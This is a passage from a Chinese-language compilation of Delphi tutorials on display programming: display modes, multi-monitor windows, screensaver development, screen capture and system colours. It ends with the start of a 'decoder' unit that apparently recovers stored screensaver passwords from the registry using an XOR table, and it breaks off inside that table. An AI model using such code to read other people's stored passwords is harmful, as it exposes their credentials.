dwFlags: DWORD): Longint; stdcall;

var
Form1: TForm1;
DevModeArray: TList;
// 显示模式信息结构列表

implementation

uses Math;
{$R *.DFM}

{引入函数}
function ChangeDisplaySettings; external user32 name 'ChangeDisplaySettingsA';

procedure TForm1.FormCreate(Sender: TObject);
var
DevModeCount: Integer; // tracks the number of display modes
DevModeInfo: ^TDevMode; // a pointer to display mode information
begin
DevModeArray := TList.Create;

DevModeCount := 0;

GetMem(DevModeInfo, SizeOf(TDevMode));

{枚举显示模式}
while EnumDisplaySettings(NIL, DevModeCount, DevModeInfo^) do
begin
DevModeArray.Add(DevModeInfo);

Inc(DevModeCount);

ListBox1.Items.Add(IntToStr(DevModeInfo^.dmPelsWidth)+'x'+
IntToStr(DevModeInfo^.dmPelsHeight)+', '+
IntToStr(Trunc(IntPower(2, DevModeInfo^.dmBitsPerPel)))+
' colors');

GetMem(DevModeInfo, SizeOf(TDevMode));
end;

FreeMem(DevModeInfo, SizeOf(TDevMode));

ListBox1.ItemIndex := 0;
end;

procedure TForm1.FormDestroy(Sender: TObject);
var
iCount: Integer;
begin
for iCount := 0 to DevModeArray.Count-1 do
FreeMem(DevModeArray.Items[iCount], SizeOf(TDevMode));
DevModeArray.Free;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
ModeChange:
Longint;
//表明是否需要重起
begin
{change the display mode}
ModeChange:=ChangeDisplaySettings(DevModeArray[ListBox1.ItemIndex],
CDS_UPDATEREGISTRY);

  {可否动态改变分辨率}
if ModeChange=DISP_CHANGE_SUCCESSFUL
then
ShowMessage('动态改变成功');
if
ModeChange=DISP_CHANGE_RESTART then
ShowMessage('需要重起');
end;


判断系统是否大字体

 FUNCTION SmallFonts : BOOLEAN;
VAR
DC : HDC;
BEGIN
DC := GetDC(0);
Result := (GetDeviceCaps(DC, LOGPIXELSX) = 96);
{ LOGPIXELSX will = 120 if large fonts are in use }
ReleaseDC(0, DC);
END;


在第二显示器上开一个窗口

 procedure SetWindowToMonitor(Form: TCustomForm; //你想操作的窗体
MonitorIndex, //你想要显示窗体的显示
// 器索引， 0为主显示
// 器，1为第二显示器
Left, Top: Integer //窗体在显示器上的位置
);
begin
if not Assigned(Form) then Exit;
if MonitorIndex >= Screen.MonitorCount then Exit;
with Screen do
begin
Inc(Left, Monitors[MonitorIndex].Left);
Inc(Top, Monitors[MonitorIndex].Top);
end;
Form.SetBounds(Left, Top, Form.Width, Form.Height);
end;


获得屏幕显示区大小

procedure FullScreenArea;
var
rcWork: TRect;
begin
rcWork.Top:=0;
rcWork.Left:=0;
rcWork.Bottom:=GetSystemMetrics(SM_CYSCREEN);
rcWork.Right:=GetSystemMetrics(SM_CXSCREEN);
SystemParametersInfo
(SPI_SETWORKAREA, 0, @rcWork, SPIF_SENDCHANGE);
end;
procedure
StandardArea; //除了任务栏
var
hApp: HWND;
rcApp,
rcWork: TRect;
begin
rcWork.Top:=0;
rcWork.Left:=0;
rcWork.Bottom:= GetSystemMetrics(SM_CYSCREEN);
rcWork.Right:= GetSystemMetrics(SM_CXSCREEN);

hApp := FindWindow('Shell_TrayWnd', '');
if hApp <> 0 then begin
{ get the size of the taskbar }
GetWindowRect(hApp, rcApp);
{ cut the workarea to place the taskbar }
if rcApp.Right<rcWork.Right then
rcWork.Left:=rcApp.Right; { bar on left edge }
if rcApp.Bottom<rcWork.Bottom then
rcWork.Top:=rcApp.Bottom; { bar on top edge }
if rcApp.Left>0 then
rcWork.Right:=rcApp.Left; { bar on right edge }
if rcApp.Top>0 then
rcWork.Bottom:=rcApp.Top; { bar on bottom edge }
end;

{ set workarea }
SystemParametersInfo (SPI_SETWORKAREA, 0, @rcWork, SPIF_SENDCHANGE );
end; { StandardArea }


设定窗口到多显示器

 procedure SetWindowToMonitor(Form: TCustomForm; //你想操作的窗体
MonitorIndex, //你想要显示窗体的显示
// 器索引， 0为主显示
// 器，1为第二显示器
Left, Top: Integer //窗体在显示器上的位置
);
begin
if not Assigned(Form) then Exit;
if MonitorIndex >= Screen.MonitorCount then Exit;
with Screen do
begin
Inc(Left, Monitors[MonitorIndex].Left);
Inc(Top, Monitors[MonitorIndex].Top);
end;
Form.SetBounds(Left, Top, Form.Width, Form.Height);
end;


编写屏幕保护程序

屏幕保护程序无非是扩展名换成了.SCR的可执行程序，它接受两种命令行参数：
-s 运行命令参数
-c 配置命令参数
Windows通过向程序发-s命令行参数来启动程序。
要注意的是：程序的窗口是无边框和标题；窗口大小应与屏幕大小一样；还要注意
窗口的事件的处理。

用Delphi 开 发windows95 屏 幕 保 护 预 览 程 序
北 京 上 地 信 息 中 路3# 包 伟
---- 大 家 都 知 道windows 屏 幕 保 护 程 序 的 作 用, 而 且 新 的 屏 幕 保 护 程 序 越 来 越 漂
亮. 如 果 在win95 的 桌 面 右 键 菜 单 选 属 性, 就 弹 出 显 示 器 设 置 界 面, 有 一 个 标 签 是
设 置 屏 幕 保 护 程 序 的.

---- 在 该 页 的 画 面 上, 有 一 个 显 示 器 图 案, 如 果 你 选 择win95 所 带 的 屏 幕 保 护 程 序,
这 个 屏 幕 保 护 程 序 就 会 在 这 个 小' 显 示 器' 上 自 动 运 行, 你 可 以 直 接 看 到 运 行
效 果. 这 功 能 大 大 方 便 了 屏 幕 保 护 程 序 的 选 择, 这 就 是win95 对 屏 幕 保 护 程 序 的
新 增 接 口: 预 览 功 能.

---- 目 前 大 多 数 新 推 出 的 屏 幕 保 护 程 序 都 支 持 这 个 接 口.

---- 屏 幕 保 护 程 序 从 它 的 诞 生 那 时 起, 在 同 一 时 刻 只 能 运 行 一 个, 不 能 多 个 同
时 运 行, 然 而 预 览 接 口 的 推 出, 使 同 时 预 览 多 个 屏 幕 保 护 程 序 成 为 可 能, 本 文
将 向 读 者 介 绍 如 何 用Delphi 开 发 这 样 一 个 程 序.

---- 1. 屏 幕 保 护 预 览 接 口

---- 屏 幕 保 护 预 览 接 口 的 使 用 很 简 单, 这 是 通 过 传 给 屏 幕 保 护 程 序 的 命 令 行
参 数 来 实 现 的, 该 命 令 行 参 数 格 式 为:

---- screensaver.exe /p #####

---- 其 中##### 为 一 个 有 效 的 窗 口 句 柄 的10 进 制 表 示.

---- 这 个 窗 口 我 们 可 以 称 之 为 预 览 窗 口.

---- 实 际 上, 支 持 预 览 接 口 的 屏 幕 保 护 程 序 将 自 己 的 窗 口 创 建 为 预 览 窗 口 的
子 窗 口 来 实 现 预 览 功 能 的.

---- 2. 画 面 布 局

---- 我 们 这 个 程 序 的 窗 口 分 为 3 部 分, 为 倒' 品' 字 形, 上 左 部 分 列 出 所 有 可 用 的 屏
幕 保 护 程 序, 上 右 部 分 列 出 所 有 预 览 的 屏 幕 保 护 程 序, 下 面 当 然 是 预 览 窗 口
了.

---- 用Delphi 实 现 时, 首 先 在Form 里 放2 个TPanel 组 件, Panel1 对 齐 方 式 为 顶 部 对 齐,Panel2 为
撑 满 用 户 区, 再 在Panel1 中 放1 个TFileListBox 组 件 和 一 个TListBox 组 件,FileListBox1 左 对 齐,
ListBox1 撑 满 用 户 区.

---- 这 样, FileListBox1 为 屏 幕 保 护 列 表, ListBox1 为 预 览 列 表, Panel2 为 预 览 窗 口.

---- 3. 列 出 屏 幕 保 护 程 序.

---- 将FileListBox1 的Mask 属 性 设 为'*.scr', 这 是 屏 幕 保 护 程 序 的 扩 展 名.

---- 在FormCreate 方 法 中 将FileListBox1.directory 设 为windows 系 统 目 录GetSystemDirectory;

---- 4. 预 览 屏 幕 保 护 程 序.

---- 在FileListBox1DblClick 方 法 中 运 行 该 屏 幕 保 护 程 序, 并 将Panel2 的 窗 口 句 柄 传 给 它.

---- WinExec(pchar(FileListBox1.FileName + ' /p ' + inttostr(Panel2.handle)), SW_Show);

---- 运 行 程 序, 怎 么 样? COOL!

---- 5. 增 加 一 些 新 特 性: 隐 藏/ 显 示/ 关 闭.

---- 增 加2 个 函 数: 用 于 更 新ListBox1.

function EnumProc(
h : HWND ;// handle of child window
l : integer// application-defined value
): boolean;stdcall;
var buf : array[0..255] of char;
begin
GetWindowText(h, buf, sizeof(buf)- 1);
if iswindowvisible(h) then
Form1.ListBox1.items.add
(' ' +strpas(buf) + ' : ' + inttostr(h))
else
Form1.ListBox1.items.add
('-' +strpas(buf) + ' : ' + inttostr(h));
Result := true;
end;

procedure TForm1.Fresh1;
begin
ListBox1.clear;
enumChildwindows(Panel2.handle,
TFNWndEnumProc(@enumproc), 0);
end;
---- 增 加 一 个 弹 出 菜 单Popupmenu1, 3 个 菜 单 项, 'Show, Hide, Close', 将ListBox1.popupmemu 指 向
Popupmenu1.

---- Hide 的 处 理 函 数 是:

procedure TForm1.Hide1Click(Sender: TObject);
var h : integer;
s
: string;
begin
if ListBox1.itemindex = -1 then exit;
s
:= Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':',
s) + 1, length(s)));
ShowWindow(h, SW_HIDE);
Fresh1;
end;
Show 的 处 理 函 数 是:
procedure TForm1.Show1Click(Sender:
TObject);
var h : integer;
s : string;
begin
if
ListBox1.itemindex = -1 then exit;
s :=
Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':', s)
+ 1, length(s)));
ShowWindow(h, SW_SHOW);
Fresh1;
end;
Close 的 处 理 函 数 是:
procedure TForm1.Close1Click(Sender:
TObject);
var h : integer;
s : string;
begin
if
ListBox1.itemindex = -1 then exit;
s :=
Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':', s)
+ 1, length(s)));
PostMessage(h, WM_QUIT, 0, 0);
Fresh1;
end;
---- 本 程 序 在Delphi 3.0 下 调 试 通 过, 应 该 能 用Delphi 1.0 / 2.0 编
译.

---- 完 整 程 序 如 下:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
StdCtrls, FileCtrl, ExtCtrls, Menus;

type
TForm1 = class(TForm)
Panel1:
TPanel;
Panel2: TPanel;
FileListBox1: TFileListBox;
ListBox1:
TListBox;
PopupMenu1: TPopupMenu;
Hide1: TMenuItem;
Show1: TMenuItem;
Close1: TMenuItem;
procedure FormCreate(Sender:
TObject);
procedure FileListBox1DblClick(Sender:
TObject);
procedure Hide1Click(Sender:
TObject);
procedure Show1Click(Sender:
TObject);
procedure Close1Click(Sender:
TObject);
private
{ Private declarations
}
public
{ Public declarations
}
procedure Fresh1;
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
function EnumProc(
h : HWND ;// handle of child window
l : integer// application-defined value
): boolean;stdcall;
var buf : array[0..255] of char;
begin
GetWindowText(h, buf, sizeof(buf)- 1);
if iswindowvisible(h) then
Form1.ListBox1.items.add
(' ' +strpas(buf) + ' : ' + inttostr(h))
else
Form1.ListBox1.items.add
('-' +strpas(buf) + ' : ' + inttostr(h));
Result := true;
end;

procedure TForm1.Fresh1;
begin
ListBox1.clear;
enumChildwindows(Panel2.handle,
TFNWndEnumProc(@enumproc), 0);
end;

procedure TForm1.FormCreate(Sender: TObject);
var buf : array[0..256] of
char;
begin
GetSystemDirectory(buf, sizeof(buf) - 1);
FileListBox1.directory := strpas(buf);
ListBox1.popupmenu :=
Popupmenu1;
end;

procedure TForm1.FileList
Box1DblClick(Sender: TObject);
begin
WinExec(pchar(FileListBox1.FileName
+ ' /p ' + inttostr(Panel2.handle)),
SW_Show);
Fresh1;
end;

procedure TForm1.Hide1Click(Sender: TObject);
var h : integer;
s
: string;
begin
if ListBox1.itemindex = -1 then exit;
s
:= Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':',
s) + 1, length(s)));
ShowWindow(h, SW_HIDE);
Fresh1;
end;

procedure TForm1.Show1Click(Sender: TObject);
var h : integer;
s
: string;
begin
if ListBox1.itemindex = -1 then exit;
s
:= Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':',
s) + 1, length(s)));
ShowWindow(h, SW_SHOW);
Fresh1;
end;

procedure TForm1.Close1Click(Sender: TObject);
var h : integer;
s : string;
begin
if ListBox1.itemindex = -1 then exit;
s
:= Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':',
s) + 1, length(s)));
PostMessage(h, WM_QUIT, 0, 0);
Fresh1;
end;

end.
//////////////////////////////////////////////////
实际上Windows的屏幕保护程序也是一个可执行文件，只不过扩展名是 .SCR而不是.EXE。但是它也应满足一定的要求，以便提供给控制面板合适的接口。使得用户可以在显示器的“属性”中选择和配置它。通常它应满足以下要求：
1、包含有关于自己的设置；
2、提供关于自己的描述；
3、能够区分是激活状态还是配置状态；
4、不允许自己的拷贝同时运行；
5、当键盘或鼠标有动作时退出程序。
其中，“设置”与普通程序一样，只是要注意，只有在控制面板中配置它时“设置”窗口才会被激活。下面我们主要讨论剩下的四个问题。
一、首先，建立屏幕保护的主窗口。
在Delphi的菜单上或工具条上选择"New Form"建立一个"Blank Form"在Object Inspector中将它的属性配置为：
BorderIcon []
biSystemMenu False
biMinimize False
biMaximize False
BorderStyle bsNone
Color clBlack
FormStyle fsStayOnTop
name Sav_Form
Visible False
从System控件板中选择一个"Timer"控件，设置它的属性为：
Enabled Ture
Interval 2000
Name Timer1
Tag 0
在本例中保护屏幕上显示照片，所以要在窗口上再加一个Image将它的AuotoSize设为Ture,Visible设为False，双击装入你想显示的图片，本例采用《计算机世界》1998年49期中介绍的方法，使BMP图片以垂直交错的方法显示，代码如下：（详情见《计算机世界》1998年49期“Delphi中的图形显示技巧”）
private
{ Private declarations }
procedure ShowPic();
.....
procedure TSav_Form.ShowPic(Sender: TObject);
var
newbmp:TBitmap;
i,j,bmpheight,bmpwidth:integer;
begin
newbmp:= TBitmap.Create;
newbmp.Width:=image1.Width;
newbmp.Height:=image1.Height;
bmpheight:=image1.Height;
bmpwidth:=image1.Width;
i:=0;
while i< =bmpheight do
begin
j:=i;
while(j >0)do
begin
newbmp.Canvas.CopyRect(Rect(0,j-1,bmpwidth,j),image1.
Canvas,Rect(0,bmpheight-i+j-1,bmpwidth,bmpheight-i+j));
newbmp.Canvas.CopyRect(Rect(0,bmpheight-j,bmpwidth,
bmpheight-j+1),image1.Canvas,Rect(0,i-j,bmpwidth,i-j+1));
j:=j-2;
end;
Sav_Form.Canvas.Draw(20,10,newbmp);
i:=i+2;
end;
newbmp.free;
end;
当然，你也可以采用别的方法显示，或者将屏幕设计成做你想做的任何模样，只要在定时器的响应时间中调用你的函数就行了。本例，在定时器的OnTimer消息处理程序中调用ShowPic();
type
......
procedure Timer1Timer(Sender: TObject);

procedure TSav_Form.Timer1Timer(Sender: TObject);
begin
ShowPic;
end;
剩下的工做就是让设计好的Sav_Form能覆盖整个屏幕，并隐藏鼠标。点击Sav_Form在Object Inspector中选择Events标签，双击OnActive消息为它加上消息处理函数FormActivate(Sender: TObject);添加代码如下：
trype
procedure FormActivate(Sender: TObject);
procedure TSav_Form.FormActivate(Sender: TObject);
begin
WindowsState:=wsMaximized; //覆盖屏幕；
ShowCursor(false); //隐藏光标；
end;
二、监测键盘和鼠标
保护屏幕作好后，就要监测键盘和鼠标。方法是为Application.OnMessage事件建立一个句柄，检测中断屏幕保护的条件是否满足。在Sav_Form的Private中加入以下代码：
procedure Detect(var Msg:TMsg;var Handled:boolean);
在implementation中加入以下代码：
procedure TSav_Form.Detect(var Msg:TMsg;
var Handled:boolean);
Var
Done:boolean;
begin
Done:=false;
if （Msg.message=WM_KEYDOWN or
Msg.message=WM_MOUSEMOVE) then
done:=true;
if done then
begin
close;
end;
end;
---- 在为窗口的OnShow事件加上处理函数。在函数中加上以下代码：
procedure TSav_Form.FormShow(Sender: TObject);
begin
Application.OnMessage:=Detect;
// ShowCursor(false);
end;
三、提供关于自己的描述
你可以用Delphi中的{$D text} 定义出现在“显示”“属性”中显示的你的屏幕保护程序的名称，$D参数直接将text插入可执行文件入口的描述模块(Description Module) 为了让控制面板认识你的描述，必须加入"SCRNSAVE"。选择项目文件在{$R *.RES}后加入以下代码：
{$D SCRNSAVE My Screen Saver}"My Screen Saver"将显示在控制面板中的“显示”“属性”中。
四、激活状态和设置状态，以及屏蔽多拷贝的运行
Windows在两种条件下运行屏幕保护程序，1、当屏幕保护的时间设置到时则激活；2、当屏幕保护被设置时激活。为了区分这两种状态Windows在命令后加了参数， "/s"表示是激活状态，"/c"表示是设置状态。因此，我们的屏幕保护程序也必须区分参数以便做不同的处理。
屏幕保护程序和其他程序不同的是，它不允许自己的拷贝同时运行。hPrevInst是一个Delphi定义的全局变量，它指向当前程序前一个拷贝，如果该变量为0，则表示当前程序是唯一的实例。我们可以利用这个变量屏蔽多拷贝的运行。
以下的代码实现了区分激活状态和设置状态，以及屏蔽多拷贝的运行的功能。（该代码在项目文件中）
begin
if hPrevInst = 0 then
begin //如果当前实例是唯一实例
if (ParamCount > 0) and
(UpperCase(ParamStr(1)) = '/S') then
begin
//如果是激活状态
Application.Initialize;
Application.CreateForm(TScrnFrm, ScrnFrm);
end else
begin
//可以在这里加入你的配置代码
end;
Application.Run;
end;
end.
五、安装
---- 最后，将程序编译、链接后拷贝到Windows目录下，将程序的扩展名改为.SCR即可在控制面板中选择"My Screen Saver"了。以上代码均在Delphi4.0中编译通过
///////////////////////////////////////////////////

一 个 实 用 的Delphi 屏 幕 拷 贝 程 序 的 设 计
宁 波 市 游 河 巷 贾 学 杰
---- Borland 公 司（ 现 改 名 为INPRISE 公 司） 的DELPHI 是 当 前 最 为 方 便 的Windows 程 序 设
计 工 具 之 一。 许 多 人 以 为DELPHI 是 作 为 数 据 库 开 发 工 具 出 现 的， 其 实 用DELPHI
可 以 以 极 快 的 速 度 开 发 出 高 效 的Windows 程 序。

---- 现 在 我 们 就 用DELPHI 来 编 写 一 个 实 用 的 屏 幕 拷 贝 程 序。 瞧 瞧， 下 面 的 画 面
就 是 所 编 程 序 运 行 后 进 行 区 域 屏 幕 拷 贝 的 例 子， 还 不 错 吧 ！

---- Borland 公 司 的 天 才 设 计 师 们 用 画 布（Tcanvas） 对 象 封 装 了Windows 的 大 部 分 图 形
输 出 功 能， 这 使 得 我 们 可 以 通 过 他 以 更 直 观 的 方 式 和Windows 的 屏 幕 打 交 道，
而 不 必 关 心 令 人 头 疼 的Windows API 函 数。 下 面 的 一 小 段 程 序 就 可 以 实 现 整 个
屏 幕 的 图 象 拷 贝 了。

var //变量声明
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
//------------------------------------------------------------
DC := GetDC (0); //取得屏幕的 DC，参数0指的是屏幕
FullscreenCanvas := TCanvas.Create; //创建一个CANVAS对象
FullscreenCanvas.Handle := DC; //将屏幕的DC赋给HANDLE
Fullscreen.Canvas.CopyRect
(Rect (0, 0, screen.Width,screen.Height),
fullscreenCanvas,
Rect (0, 0, Screen.Width, Screen.Height));
//把整个屏幕复制到BITMAP中
FullscreenCanvas.Free; //释放CANVAS对象
ReleaseDC (0, DC); //释放DC
//SCREEN对象是DELPHI预先定义的屏幕对象，直接使用就行了。

---- 看 了 以 上 代 码， 你 就 会 发 现 用DELPHI 写 屏 幕 拷 贝 程 序 的 确 很 简 单。

---- 当 然 要 写 一 个 实 用 的 屏 幕 拷 贝 程 序， 光 靠 上 述 代 码 是 不 够 的， 下 面 讲 一
下 主 要 的 编 程 思 路：

---- 1. 全 屏 幕 拷 贝 的 实 现

---- 首 先 隐 藏 拷 屏 程 序， 延 长 一 定 时 间 后， 利 用 上 述 的 程 序 即 可 实 现 屏 幕 的
拷 贝。

---- 2. 区 域 拷 贝 的 实 现

---- 要 实 现 区 域 拷 贝 要 用 个 小 技 巧， 首 先 调 用 全 屏 幕 拷 贝 程 序 把 整 个 屏 幕 拷
贝 下 来， 然 后 把 拷 贝 下 来 的 图 象 显 示 在 屏 幕 上， 之 后 就 可 以 让 用 户 在 上 面
选 择 需 要 的 区 域， 最 后 才 将 用 户 选 定 的 区 域 复 制 下 来。

---- 编 程 实 现：

---- 1. 首 先 用DELPHI3 开 一 个 工 程。

---- 2. 在FORM 上 放 置 一 个TPANEL 元 件， 设 置ALIGN=ALTOP， 再 选 部 件 条ADDITIONAL 上
的TSCROLLBOX， 放 到FORM 上， 设 置ALIGN=ALCLIENT， 然 后 在SCROLLBOX 上 放 置 一 个
TIMAGE 对 象。

---- 3. 在PANEL 上 放 置4 个 按 钮， 分 别 为FULL SCREEN，REGIN，SAVE，EXIT。

---- 4. 容 易 干 的 先 干， 在EXIT 按 钮 的CLICK 事 件 里 写 下 代 码

procedure TForm1.ExitClick(Sender: TObject);
begin
close;
end;
---- 5. 接 着 是 实 现 全 屏 幕 拷 贝 了， 在FROM 上 放 置 一 个 记 时 器TTIMER，ENABLED 设 为
FALSE，INTERVAL 设 为500， 也 就 是 半 秒 钟 激 活 一 次。 双 击TIMER 部 件， 写 上 如 下 的
代 码。

procedure TForm1.Timer1Timer(Sender:
TObject);
var
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
begin
timer1.Enabled:=false;   //取消时钟
Fullscreen := TBitmap.Create;
//创建一个BITMAP来存放图象
Fullscreen.Width :=
screen.width;
Fullscreen.Height :=
screen.Height;
DC := GetDC (0);   //取得屏幕的
DC，参数0指的是屏幕
FullscreenCanvas := TCanvas.Create;
//创建一个CANVAS对象
FullscreenCanvas.Handle := DC;

Fullscreen.Canvas.CopyRect
(Rect (0, 0, screen.Width, screen.Height),
fullscreenCanvas,
Rect (0, 0, Screen.Width,
Screen.Height));
//把整个屏幕复制到BITMAP中
FullscreenCanvas.Free;
//释放CANVAS对象
ReleaseDC (0,
DC);
//释放DC
//*******************************
image1.picture.Bitmap:=fullscreen;//拷贝下的图象赋给IMAGE对象
image1.Width:=fullscreen.Width;
image1.Height:=fullscreen.Height;
fullscreen.free;
//释放bitmap
form1.WindowState:=wsNormal;
//复原窗口状态
form1.show;
//显示窗口
messagebeep(1);
//BEEP叫一声，报告图象已经截取好了。
end;
---- 6. 接 下 去FULLSCREEN 按 钮 上 的 代 码 就 很
简 单 了。

procedure TForm1.FullscreenClick(Sender:
TObject);
begin
form1.WindowState:=wsMinimized;
//最小化程序窗口
form1.hide;
//把程序藏起来
timer1.enabled:=true;
//打开记时器
end;
---- 7. 拷 贝 到 了 图 象 当 然 要 存 起 来 了，SAVE 按 钮 就 有 了 用 武 之
地， 我 们 写 下 如
下 代 码。

procedure TForm1.Save1Click(Sender: TObject);
begin
if savedialog1.Execute then
begin
form1.Image1.Picture.SaveToFile(savedialog1.filename)
end;
end;
---- 8. 下 面 是 区 域 拷 贝 的 实 现。 再New 一 个FORM,BorderStype 设 为 bsNone, 这 样 能 够 显 示
为 全 屏 幕， 上 面 放 置 一 个TIMAGE 部 件，ALIGN 设 为ALCLIENT， 另 外 放 置 一 个TTIMER
部 件，TIMER 部 件 的 程 序 跟 上 面 的 很 象， 因 为 它 首 先 要 实 现 的 是 全 屏 幕 的 拷
贝。

procedure TForm2.Timer1Timer(Sender:
TObject);
var
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
begin
timer1.Enabled:=false;
Fullscreen :=
TBitmap.Create;
Fullscreen.Width :=
screen.width;
Fullscreen.Height :=
screen.Height;
DC := GetDC (0);
FullscreenCanvas := TCanvas.Create;
FullscreenCanvas.Handle :=
DC;
Fullscreen.Canvas.CopyRect (Rect
(0, 0, screen.Width, screen.Height),
fullscreenCanvas,
Rect (0, 0, Screen.Width,
Screen.Height));
FullscreenCanvas.Free;
ReleaseDC (0, DC);
image1.picture.Bitmap:=fullscreen;
image1.Width:=fullscreen.Width;
image1.Height:=fullscreen.Height;
fullscreen.free;
form2.WindowState:=wsMaximized;
form2.show;

    messagebeep(1);
foldx:=-1;
foldy:=-1;
image1.Canvas.Pen.mode:=pmnot; //笔的模式为取反
image1.canvas.pen.color:=clblack; //笔为黑色
image1.canvas.brush.Style:=bsclear; //空白刷子
flag:=true;
end;
---- 9.TIMAGE 部 件 上 有 两 个 事 件 的 程 序 需 要 编 写， 一 个
是ONMOUSEDOWN， 另 一 个
是ONMOUSEMOVE。

---- 10. 可 以 回 头 看 看 区 域 拷 贝 的 思 路， 此 时 需 要 作 区 域 拷 贝 的 屏 幕 我 们 已 经
得 到， 也 显 示 在 屏 幕 上 了， 按 下 鼠 标 左 键 是 区 域 的 原 点， 此 后 移 动 鼠 标， 将
有 一 个 矩 形 在 原 点 和 鼠 标 之 间， 它 会 随 着 鼠 标 的 移 动 而 变 化， 再 次 按 下 鼠
标 的 左 键， 此 时 矩 形 所 包 含 的 区 域 就 是 我 们 要 得 到 的 图 象 了。

---- 11. 所 以MOUSEDOWN 有 两 次 响 应 的 处 理， 见 以 下 程 序。

procedure TForm2.Image1MouseDown
(Sender: TObject; Button:
TMouseButton;
Shift: TShiftState; X, Y:
Integer);
var
width,height:integer;
newbitmap:Tbitmap;
begin
if (trace=false) then  // TRACE表示是否在追踪鼠标
begin
//首次点击鼠标左键，开始追踪鼠标。
flag:=false;
with image1.canvas do
begin
moveTo(foldx,0);
LineTo(foldx,screen.height);
moveto(0,foldy);
lineto(screen.width,foldy);
end;
x1:=x;
y1:=y;
oldx:=x;
oldy:=y;
trace:=true;
image1.Canvas.Pen.mode:=pmnot;
//笔的模式为取反
//这样再在原处画一遍矩形，相当于擦除矩形。
image1.canvas.pen.color:=clblack;  //笔为黑色
image1.canvas.brush.Style:=bsclear;//空白刷子
end
else
begin
//第二次点击，表示已经得到矩形了，
//把它拷贝到FORM1中的IMAGE部件上。
x2:=x;
y2:=y;
trace:=false;
image1.canvas.rectangle(x1,y1,oldx,oldy);
width:=abs(x2-x1);
height:=abs(y2-y1);
form1.image1.Width:=Width;
form1.image1.Height:=Height;

    newbitmap:=Tbitmap.create;
newbitmap.width:=width;
newbitmap.height:=height;
newbitmap.Canvas.CopyRect
(Rect (0, 0, width,
Height),form2.image1.canvas,
Rect (x1, y1,x2,y2));
//拷贝
form1.image1.picture.bitmap:=newbitmap;
//放到FORM的IMAGE上
newbitmap.free;
form2.hide;
form1.show;
end;
end;

---- 12.MOUSEMOVE 的 处 理 就 是 在 原 点 和 鼠 标 当 前 位 置 之 间 不 断 地 画 矩 形 和 擦
除 矩 形。

procedure TForm2.Image1MouseMove
(Sender: TObject; Shift: TShiftState;
X,
Y: Integer);
begin
if trace=true then
//是否在追踪鼠标？
begin
//是，擦除旧的矩形并画上新的矩形
with image1.canvas
do
begin
rectangle(x1,y1,oldx,oldy);
Rectangle(x1,y1,x,y);
oldx:=x;
oldy:=y;
end;
end
else if flag=true then
//在鼠标所在的位置上画十字
begin
with image1.canvas
do
begin
moveTo(foldx,0);
//擦除旧的十字
LineTo(foldx,screen.height);
moveto(0,foldy);
lineto(screen.width,foldy);
moveTo(x,0);
//画上新的十字
LineTo(x,screen.height);
moveto(0,y);
lineto(screen.width,y);
foldx:=x;
foldy:=y;
end;
end;
end;

---- 13. 好 了， 让 我 们 回 过 头 来 编 写REGION 按 钮 的 代 码。

procedure TForm1.RegionClick(Sender: TObject);
begin
form1.Hide;
form2.hide;
form2.Timer1.Enabled:=true;
end;
---- 好 了， 我 们 终 于 胜 利 完 工 了， 赶 快 运 行 一 遍， 把 漂 亮 的 屏 幕 拷 下 来 ！ 瞧
DELPHI 不 仅 是 一 个 优 秀 的 数 据 库 开 发 工 具， 而 且 是 一 个 优 秀 的 编 写WINDOWS
程 序 的 好 帮 手。 让 我 们 不 禁 赞 叹： 伟 大 的DELPHI ！


响应显示模式改变

type
TForm1 = class(TForm)
Button1: TButton;
private
{ Private declarations }
procedure WMDisplayChange(var Message: TMessage);
message WM_DISPLAYCHANGE;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMDisplayChange(var Message: TMessage);
begin
{Do
Something here}
inherited;
end;


开关显示器

 关闭显示器:
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
打开显示器:
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);


修改系统颜色

procedure TMainForm.Button4Click(Sender: TObject);
var
nColorIndex:
array [1..2] of integer;
nColorValue: array [1..2] of
longint;
begin
nColorIndex[1]:=COLOR_ACTIVECAPTION;
nColorIndex[2]:=COLOR_BTNFACE;
nColorValue[1]:=clBlue;
nColorValue[2]:=clRed;
SetSysColors(2,nColorIndex,nColorValue);

PostMessage(HWND_BROADCAST,WM_SYSCOLORCHANGE,0,0);
end;
/////////////////////////////
var
NewButtonColor: TColorRef;
DisplayElement:
TColorRef;
begin
NewButtonColor :=
RGB(255,0,0);
DisplayElement :=
COLOR_BTNFACE;
SetSysColors(1,DisplayElement,NewButtonColor);
end;


开关屏幕保护

procedure TForm1.Button1Click(Sender: TObject);
begin
{Turn it off}
SystemParametersInfo(SPI_SETSCREENSAVEACTIVE,
0,
nil,
0);
{Turn it on}
SystemParametersInfo(SPI_SETSCREENSAVEACTIVE,
1,
nil,
0);
end;
//////////////////////////////////////////////////////////////////

function TurnScreenSaverOn : bool;
var
b : bool;
begin
result := false;
if SystemParametersInfo(SPI_GETSCREENSAVEACTIVE,
0,
@b,
0) <> true then exit;
if not b then exit;
PostMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
result := true;
end;
///////////////////////////////////////////////
执行下列语句开始Windows屏幕保护程序
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_SCREENSAVE,0);


屏保密码

unit decoder;

interface

uses
Windows, SysUtils, Forms, Registry, StdCtrls, Controls,
Classes;

type
TForm1 = class(TForm)
Edit1:
TEdit;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
Label2:
TLabel;
Label3: TLabel;
Label4:
TLabel;
procedure FormCreate(Sender: TObject);
end;

var
Form1: TForm1;
reg: TRegistry;
const
xorwert: array[1..128] of byte =
(72,238,118,29,103,105,161,

